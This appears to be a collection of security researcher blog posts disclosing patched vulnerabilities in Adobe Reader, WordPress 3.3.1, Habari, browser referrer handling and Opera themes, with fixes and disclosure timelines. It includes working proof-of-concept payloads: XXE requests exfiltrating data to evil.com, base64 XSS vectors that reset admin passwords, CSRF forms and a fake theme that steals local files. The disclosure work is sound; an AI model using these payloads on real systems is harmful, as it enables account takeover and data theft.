A few days ago many severe vulnerabilities involving Adobe Reader and Acrobat were addressed by Adobe through a security update.
In this post I want to share some details about some security issues I found out, in particular, about CVE-2013-0624. Based on the description in the advisory by Adobe, these vulnerabilities are essentially security bypass, and three people are credited about these (Billy Rios, Federico Lanusse and me).


The same-origin policy ensures that an embedded PDF is only allowed to make HTTP requests back to the domain from which it is served up. This implies that if a PDF file is hosted at the domain A, then it can make requests to the domain A, while it is not allowed to do so with respect to any different domain. Actually the PDF at the domain A could be allowed to do cross-domain requests, but the user would be asked (with a warning prompt) to put this domain into the list of privileged positions. This is completely different from the common practice of crossdomain.xml and CORS in which the web site's owner decides whether its content can be accessed from specific domains.
I learned this by reading the awesome post by Billy Rios about Content-Smuggling in which he showed that PDF files could be "hidden" in files with different format. In addition, he adopted the built-in XML APIs in an XXE (XML External Entities) attack fashion in order to make HTTP requests. I strongly encourage you to read that analysis, since it is really cool! Essentially the XMLData object can be used to perform HTTP requests by exploiting the XML external entities; this functionality was exploited in the wild for accessing local files through the file: scheme though, as you can read from here.

Bypass #1 - Analysis

Let us assume to run a web site at, then we could ask Adobe Reader to parse an XML document in through the Adobe Javascript APIs as follows.

var xml="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo ANY> <! ENTITY xxe
SYSTEM \"\">]><foo>&xxe;</foo>";
var xdoc = XMLData.parse(xml,false);

This will parse an XML document where the tag named foo contains the textual content of the file hosted at - note that only textual content or XML files can be included, otherwise the XML parser would not be able to correctly parse the XML document, and this is obviously the biggest limitation of this attack.
Clearly, we are not allowed to include content from domains which are different from the the one from which the PDF is served up - unless explicitly asked by the user.
Actually an HTTP redirect could be exploited to make cross-domain inclusions and access data belonging to any domain.
Let us assume that the attacker controls the domain http://evil.com, then it could craft two pages: the
first one embedding a PDF file, while the second one performing an HTTP redirect; its goal is to read
content located at http://target.com/my_secret. The crafted PDF would contain the following JavaScript code:


var xml="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe
SYSTEM \"http://evil.com/redirect.php?redir=http%3A%2F%2Fwww.target.com%2Fmy_secret\">]><foo>&xxe;</foo>";
var xdoc = XMLData.parse(xml,false);


header("Location: ".$_GET['redir']);

Adobe Reader plugin did not correctly consider that the requested content is located in a domain different from the originating one. Specifically, when including content through XMLData and external entities via a URL that performs a 301 or 302 redirect, the Adobe Reader plugin considers the requested content being located at the original source of the redirect, and not at the final destination. In addition, stolen sensitive data can be grabbed in the following way. It is clear that user's cookies are sent by the browser when accessing the content in the target domain.

var z = "http://evil.com/?uhh=" + escape(xdoc.foo.value);

Bypass #2 - Analysis

At this point it's time to proceed to another similar issue I found out. It is somehow similar to the one I've just analyzed but it requires a completely different attack scenario. It is essentially again a Adobe Reader Same-Origin Policy Bypass managed via PDF documents that are loaded through an HTTP redirect.
This vulnerability worked in Internet Explorer only (tested on IE 8, 9 and 10).

Adobe Reader did not properly enforce the same-origin policy for embedded PDFs which are loaded via URLs that redirect. A malicious user can take advantage of this flaw to attack websites which redirect to third party content.

Let us assume the attacker controls the domain http://www.evil.com where he uploaded a PDF at http://www.evil.com/evil/doc.pdf. Then let us assume that the target web site (http://www.victim.com) has an open redirect vulnerability that performs 301 or 302 redirect in the form of http://www.victim.com/redirect.php?redir=http%3A%2F%2Fgoogle.com.
Now, the attacker could craft a malicious web page as follows:


<object data="http://www.victim.com/redirect.php?redir=http%3A%2F%2Fwww.evil.com%2Fevil%2Fdoc.pdf"
type="application/pdf" height="300" width="300">


var xml="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe
SYSTEM \"http://www.victim.com/secret_document\">]><foo>&xxe;</foo>";
var xdoc = XMLData.parse(xml,false);

So what really happens? The user loads the page, the embedded PDF is loaded and executes a network request to http://www.victim.com/secret_document successfully. What we would want to happen here is that Adobe Reader would have disallowed the PDF to perform a request to http://www.victim.com because it was served up by http://www.evil.com.
For the sake of completeness, if you put app.alert({cMsg:this.path}); in the Adobe JS code, then the reader would have alerted the path, that is the source of the redirect, instead of the destination path.

It is obvious that the victim web site should not have an endpoint allowing 301 or 302 redirects, but this is not uncommon at all.

For the sake of completeness, something equivalent was discovered by Neal Poole in Java Applets, refer to his very interesting post for further details. A slightly different, but equally cool, approach was instead adopted by LeverOne on sla.ckers.org and this latter was based on the possibility to steal cookies cross-domain.


The two shown vulnerabilities were fixed by disallowing to adopt external entities in the XML documents that are parsed through the XMLData object: entities identified by the keywords SYSTEM or PUBLIC will not be parsed anymore (, or at least this is was I found out by testing the patched version of Adobe Reader).
Furthermore, content smuggling (introduced by Billy Rios) looks to be fixed since supplied PoCs do not work after this security update; in particular a warning prompt is shown, saying that the embedded file does not start with '%PDF%-'.

For the sake of completeness, a research showing how it was possible to exploit PDF and Flash files in order to make same-domain requests was published by Vladimir Vorontsov in 2010: he called these kind of attacks SDRF indicating that giving the users the possibility to upload particular files in the domain containing sensitive data could be an high security risk.

I want to share some interesting security issues I found out in Wordpress 3.3.1.
These vulnerabilities were fixed in the latest version, Wordpress 3.3.2, whereby I strongly encourage you to update your WP blogs as many other security issues are involved.

1. Persistent (stored) XSS vulnerability via feed scheme


The vulnerability resides in the HTML comments filter, kses, basically the attacker may leave a comment containing a malicious link.
Firefox (only) allows to use the feed scheme to execute Javascript with feed:javascript:alert(1), as reported by Soroush Dalili in a very interesting blogpost , #131. Since the feed scheme is allowed within the attribute HREF of an anchor, the attacker could exploit this in order to trigger a XSS.
Here follows a malicious comment:

<a href="feed:javascript:alert(1)">CLICK ME</a>

Since data URIs in Firefox inherit the domain of the opening page and Wordpress is using X-Frame-Options: SAMEORIGIN for protecting against clickjacking attacks, the attacker may be able to exploit this in order to change the admin credentials.

<a href="feed:data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gc3RhcnQoKSB7CnZhciBwd2QgPSAibXluZXdwd2QiOwp2YXIgaWZyID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImlmcmFtZSIpWzBdOwp2YXIgaWZyRG9jID0gaWZyLmNvbnRlbnREb2N1bWVudCB8fCBpZnIuY29udGVudFdpbmRvdy5kb2N1bWVudDsKdmFyIHRoZUZvcm0gPSBpZnJEb2MuZ2V0RWxlbWVudHNCeU5hbWUoInBhc3MxIilbMF07CnRoZUZvcm0udmFsdWUgPSBwd2Q7CnRoZUZvcm0gPSBpZnJEb2MuZ2V0RWxlbWVudHNCeU5hbWUoInBhc3MyIilbMF07CnRoZUZvcm0udmFsdWUgPSBwd2Q7Cmlmci5vbmxvYWQ9ZnVuY3Rpb24oKXtsb2NhdGlvbj0naHR0cDovLzEyNy4wLjAuMS9DTVMvd29yZHByZXNzLyc7fTsKaWZyRG9jLmdldEVsZW1lbnRCeUlkKCJzdWJtaXQiKS5jbGljaygpOwp9Cjwvc2NyaXB0Pgo8aWZyYW1lIHNyYz0iaHR0cDovLzEyNy4wLjAuMS9DTVMvd29yZHByZXNzL3dwLWFkbWluL3Byb2ZpbGUucGhwIiB3aWR0aD0wIGhlaWdodD0wIG9ubG9hZD0ic3RhcnQoKSI+">CLICK

For the sake of completeness, decoding the previous vector we would have the following code - I'm assuming WP in installed at

function start() {
var pwd = "MY_NEW_PWD";
var ifr = document.getElementsByTagName("iframe")[0];
var ifrDoc = ifr.contentDocument || ifr.contentWindow.document;
var theForm = ifrDoc.getElementsByName("pass1")[0];
theForm.value = pwd;
theForm = ifrDoc.getElementsByName("pass2")[0];
theForm.value = pwd;
<iframe src="" width=0 height=0 onload="start()">


Since the main goal was to strip out malicious URIs within a concatenation of feed URIs, a recursive sanitization was used; the basic idea consists of going deeper and deeper within the URIs' chain till reaching an allowed scheme, but feed. Note that a threshold was set in order to stop very long recursive calls - for better understanding take a look at the wp_kses_bad_protocol_once() function in kses and here.

2. CSRF in 'leave a new comment' procedure


The attacker may force the admin to publish a comment in a blogpost, I mean, the admin is considered as an unprivileged user as it posts a comment, which does not contain the _wp_unfiltered_html_comment POST parameter. This implies that the attacker may ask the admin to visit a malicious page, which makes a POST request and publish a comment on the admin's behalf.

Read the following vulnerability (#3) to understand how this can be successfully exploited.


This issue couldn't be fixed due to some compatibility issues with older themes, however it is not so critical as #3 was fixed (and no unfiltered HTML comments can be published on the admin's behalf because of the _wp_unfiltered_html_comment nonce).

3. XSS via redirect_to POST parameter ('leave a new comment' procedure)


By looking at the last lines of wp-comments-post.php, I realised that an optional POST parameter can be used when adding a new comment - redirect_to. Basically it allows to redirect the user to another location, once left a new comment. The attacker may ask the victim to visit a malicious page which publishes a comment on the admin's behalf and it redirects him to a data URI in order to trigger a XSS attack.

Here follows a PoC:

<body onload="document.forms[0].submit()">
<form action="" method=POST>
<input type="hidden" name="comment" value="this blog rocks...!!" />
<input type="hidden" name="redirect_to"
value="data:text/html;base64,PHNjcmlwdD4KeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7IAp4aHIub25yZWFkeXN0YXRlY2hhbmdlICA9IGZ1bmN0aW9uKCkKICAgIHsgCiAgICAgICAgIGlmKHhoci5yZWFkeVN0YXRlICA9PSA0KQogICAgICAgICB7CiAgICAgICAgICAgICAgaWYoeGhyLnN0YXR1cyAgPT0gMjAwKSAKICAgICAgICAgICAgICAgICAgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dCk7IAogICAgICAgICB9CiAgICB9OyAKeGhyLm9wZW4oIkdFVCIsICJodHRwOi8vMTI3LjAuMC4xL3dwL3dwLWFkbWluL3VzZXItbmV3LnBocCIsICB0cnVlKTsgCnhoci5zZW5kKG51bGwpOyAKPC9zY3JpcHQ+" />
<input type="hidden" value="1" name="comment_post_ID">
<input type="hidden" value="0" name="comment_parent">

By decoding the payload and assuming WP in installed at, we would have:

xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
if(xhr.readyState == 4)
if(xhr.status == 200)
xhr.open("GET", "", true);

The attacker could steal anti-CSRF tokens by employing this attack. Since it is a PHP server-side redirect - header("Location: targetURL"); - I could only get it to work in Opera, but I suppose it would work in older versions of Firefox and Safari, as you can read from http://sla.ckers.org/forum/read.php?2,35422,35443. Please note that Opera treats data URIs just like Firefox (see #1).
I did not make other tests, but maybe this might be exploited via HTTP response splitting and session fixation too.


wp_safe_redirect() instead of wp_redirect() was employed, thereafter no malicious redirects are allowed anymore.

4. Persistent (stored) XSS due to a bug in make_clickable()


The attacker may submit a malicious comment whose content leads to XSS. This issue is basically related to the fact that URLs, such as http://foo.foo, are automatically converted to HTML anchors.

<a href="http:irc://onmouseover=alert(1)//">addas</a>

This latter would result in:

<a rel="nofollow" onmouseover="alert(1)//"" irc:="" href="http:<a href=">irc://onmouseover=alert(1)//</a>

The same would happen with:

<a href="mailto:ftp://onclick=alert(1)//">asd</a>


The basic idea is that an anchor was putted into another anchor, whereby only URLs outside tags have been taken into account for conversion in order to solve the issue. For better understanding look at the make_clickable() function is wp-includes/formatting.php and here

Eventually, I want to thank the Wordpress team for their constructive collaboration during the fix process.

Habari is a very nice blogging system - I tried to break it again, so let me show what I discovered in the next lines.
Note: all the showed vulnerabilities were fixed in the last Habari release (Habari 0.8).


1. No clickjacking countermeasures

The admin section can be loaded in an iframe. You may exploit this by adopting some UI redressing techniques. Pretty scary!

2. CSRF in the add users process

Two anti-CSRF tokens are used when adding a new user, actually they are not properly validated. By making an HTTP POST request to http://[domain]/[habari_path]/admin/users and by populating this with the following fields only, it still results in a successful action.

new_email x@sa.x
new_pass1 x
new_pass2 x
new_username x
newuser Add User
reassign 0

The new user has not particular priviledges, but he is able to comment every blogpost bypassing the comments moderation. The attacker should just make the admin visit the following malicious page:

var xmlhttp = new XMLHttpRequest();
var params = "new_username=asd&new_email=asdas%40das.sa&new_pass1=1&new_pass2=1&newuser=Add+User&reassign=0";

xmlhttp.withCredentials = "true";

xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");


3.1 CSRF file upload in Media Silo - it may lead to invisible arbitrary CSRF file upload

The attacker is able to force the admin in uploading whatever it wants. It just need to deploy the following page and convince him to make an upload action.

<form action="http://[domain]/[habari_path]/admin_ajax/media_panel" method="post" enctype="multipart/form-data">

<input type="file" name="file">
<input type="submit" value="Upload" name="upload">
<input type="hidden" value="Habari" name="path">
<input type="hidden" value="upload" name="panel">


Here follows some request details:

POST http://[domain]/[habari_path]/admin_ajax/media_panel

Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: ???

Content-Disposition: form-data; name="file"; filename="filename.jpg"
Content-Type: image/jpeg

[binary data]
Content-Disposition: form-data; name="upload"

Content-Disposition: form-data; name="path"

Content-Disposition: form-data; name="panel"


As usual, this process could be realized without user interaction (with some Javascript code), exploiting the CORS specification - the upload will complete transparently! I discovered something similar in Facebook.
For further information take a look at the Kotowicz's interesting presentation.

3.2 Uploaded file extension is not checked

The file upload process accepts every file extension, so the attacker might upload a PHP shell (or something similar) using the method above.

3.3 Uploaded files are located in a predictable position w/o randomizing their names

Uploaded files are located in [habari_path]/user/files/, basically no path+filename guessing is required for the attacker.

4. Non-persistent (reflected) XSS

http://[domain]/[habari_path]/admin/<a href=onload=alert(document.cookie);">

The previous vector results in the following tag:

<body class="page-<a href=" onload="alert(document.cookie);""">

That is pretty weird! You were able to inject non-malicious tags such as anchors - the filter accepted them without considering the first quote after the HREF attribute was breaking the class attribute.


1. X-Frame-Options: DENY was employed and a framebuster as well (fix).

2. As I suggested, they employed the right validation for the anti-CSRF token (fix).

3.1 As above, anti-CSRF solved this issue and ensured the validity of the upload (fix).

3.2, 3.3 By solving the 3.1 issue, the attacker cannot force the upload anymore, so these issue are implicitly solved.

4. The reflected string is actually sanitized, however something like the following still works (but yeah, this is not a security issue at all). (fix).


Disclosure timeline

10.18.11 vendor contacted
10.18.11 Habari confirms they got my report
10.27.11 Issue 1,2,4 fixed
11.08.11 Issue 3 fixed
12.13.11 Habari 0.8 released

Habari users are hardly encouraged to update their blog system as soon as possible.
I would like to thank the Habari security team, that is really friendly and available. Thanks guys for your collaboration! :)

Bye bye, Referrer...

The checking of the HTTP referer is sometime used to prevent CSRF by accepting requests only from trusted sources. Some developers adopt the following basic designs without considering the possibility to use random tokens.

  • If a request lacks the header, the site accepts the request (lenient Referer validation)
  • If a request lacks the header, do not accept it at all (strict Referer validation)

None of these techinques are satisfactory in terms of security; the first one allows an attacker to suppress the header and make the application consider as trusted a malicious request, the second one incurs a compatibility penalty. Maybe the future is in the Origin header, but at the moment the best way to prevent CSRF attacks is using random tokens.
Krzysztof Kotowicz made an interesting research, showing which are the methods for client side only referrer stripping in POST & GET requests. I hardly encourage you to take a look at his blogpost.
I tried to further investigate in order to discover some other ways to suppress the referer, here follows an exahustive scheme.
Let's assume http://target.xx as the target URL, all tests were done in: Firefox 8.0, Opera 11.60, IE 9, Chrome 15, Safari 5.1.1.

GET method

// Firefox

// Firefox
location="javascript:'<html><meta http-equiv=\"refresh\" content=\"0; url=http://target.xx\"></html>'";

// Chrome, Safari
<a rel="noreferrer" href="http://target.xx">click me</a>

// Chrome, Safari
<img src ="x.jpg" width="145" height="126" usemap ="#s" />

<map name="s">
<area shape="rect" coords="0,0,82,126" href="http://target.xx" rel="noreferrer"/>

POST method

// Firefox
getAppletContext().showDocument(new URL("javascript:'<form id=x method=POST action=\"http://target.xx\" ></form><script>document.getElementById(\"x\").submit()</script>'"));

// Firefox
location="javascript:'<form id=x method=POST action=\"http://target.xx\" ></form><script>document.getElementById(\"x\").submit()</sc"+"ript>'";

// Firefox, Chrome, Safari
<a href="data:text/html,<form id=x method=POST action=http://target.xx' ></form><script>document.getElementById('x').submit()</script>">click me</a>

// Firefox, Chrome, Safari
<img src ="x.jpg" width="145" height="126" usemap ="#s" />

<map name="s">
<area shape="rect" coords="0,0,82,126" href="data:text/html,<form id=x method=POST action='http://target.xx' ></form><script>document.getElementById('x').submit()</script>" />

About the first one, it is pretty weird because of the jar scheme: actually the target URL will not be displayed, FF will return an "Unsafe File Type" page. However the GET request is submitted to the server, so it reaches the application.
As you can see, javascript:'html' even works, moreover you could ask the user to click an anchor or an image. Chrome and Safari support the HTML5 noreferrer link relation (rel="noreferrer") within an a and an area element - Chrome and Safari hide the target url within the status bar for the area elements!
For the sake of completeness, in the case of Java Applets the attacker may use the getMember() method in order to access Javascript objects (JSObject).
I did not test the ftp scheme, but I suppose the referrer is also suppressed; instead getURL('http://target.xx/', '_self') [Flash] leaks the referrer.


If you encounter a website which adopts lenient Referer validation for preventing CSRF, then you will be definitely able to exploit it by suppressing the referrer. So let's use random tokens...

For further information:
- Robust Defenses for Cross-Site Request Forgery
- Cross-Site Request Forgery (CSRF) - OWASP
- Redirection Methods - html5security

Opera allows the user to change the browser's theme by downloading a compressed file containing all the useful information (images, ini files).
I tried to take a look at it after reading that Opera 12 will introduce a new themes system, which will make very very simple customizations; so I discovered a weird behaviour when Opera accepts a new theme, I mean, it does not perform any file extension check and it accepts bogus data within the theme. It just checks that the file starts with a certain "header" like the following:


I tried to exploit this successfully ( - it may lead to local file stealing), but this is not properly a Opera security issue because it requires some assumptions (social engineering) and the attacker should be able to convince the victim into clicking on yes within a "Potential Security Risk" dialog that Opera correctly prompts. Just take in mind that the attack should be very very simple, and yeah, I'm pretty sure that a fancy and cool theme will convince any user into accepting its installation!

I reported this to Opera, but they did not consider it as a security issue because several potentially harmful functions are protected by dialogs, and according to them this is considered sufficient. Since the installation of a new theme from an untrusted domain will prompt the user asking him whether he wants to really do so, Opera design is leaving the choice of being exploited to the user. Actually they consider as trusted just web sites managed from Opera Software in terms of skin, extensions, widgets, so if you try to host a personal themes mirror then the browser will alert the user at any time he is going to install something (skin, extensions, widgets). This is fine and this design can be considered acceptable in terms of security. At the end of the day Opera has the right protection against attacks like this, but the user should be completely aware of what he is going to install from untrusted domains.

I'm completely aware that this stuff is similar to the possibility for the attacker to make the victim download an HTML file and open it, but I suppose it's more likely the user downloads a nice theme instead of accepting a completely transparent download of an HTML file. Furthermore you could make the user dowload a theme which is an exe file, he could not be able to understand it because the filename.ext is not reflected in the dialog. Opera will also show a progress bar indicating the theme installation process and this will make the user trust it.


Let's try to forge an HTML file as a valid theme and let's serve it with the proper content-type (application/x-opera-configuration-skin).

· skin2.html


· .htaccess

<FilesMatch skin2.html>
ForceType application/x-opera-configuration-skin

Now the user should be convinced in downloading the theme. Opera will alert the above mentioned "Potential Security Risk" dialog, if the user will accept it then he will have a new "theme" in an almost predictable location:
C:\users\[user]\AppData\Roaming\Opera\Opera\skin on Windows.
Here comes the core, the victim should be convinced into opening the local file, no redirections are actually working (Java Applets, Flash), so the most effective way to proceed is asking him into making a drag and drop operation in the address bar. I suppose you can do better by employing a PDF file which points to the local file, but again an alert dialog will prompt.

So considering the fact the Opera blocks xmlhttprequest from local files by default, I should use a simple trick to bypass this problem - I'm using an iframe in order to access a target local file content (Opera can read unrelated files), then I'm causing a 404 to make the attacker server log the file content. (For detailed info: 1, 2).

The malicious theme should be as follows:

· skin2.html

# This file describes the skin for the Opera browser, yeah for sure! :D


<hr />
function send_to_theAttacker(content) {

z.onload=function(){ k = frames[0].document.body.innerHTML; send_to_theAttacker(k); };

In this way the attacker is able to steal any file on the victim filesystem! You can also serve a bat file as theme which starts the calc.exe, but again the user will be prompted by a dialog asking him whether he wants to run it.


Here follows the attack steps:
1. make the victim download the fake theme, which contains a malicious payload that steals a secret file from the local file system and give it to the attacker
2. this latter will be located in a predictable location, knowing the machine username
3. make the victim visit the local page (hard, you can do that with PDF or drag and drop of a link in the address bar)

There are just two limitations:
1. the attacker should know the windows username;
2. the redirect to a local file from an http page is not possible without user interaction.

This stuff works in Opera 11.52 (tested on Win32).


Here you can find a video for better understanding.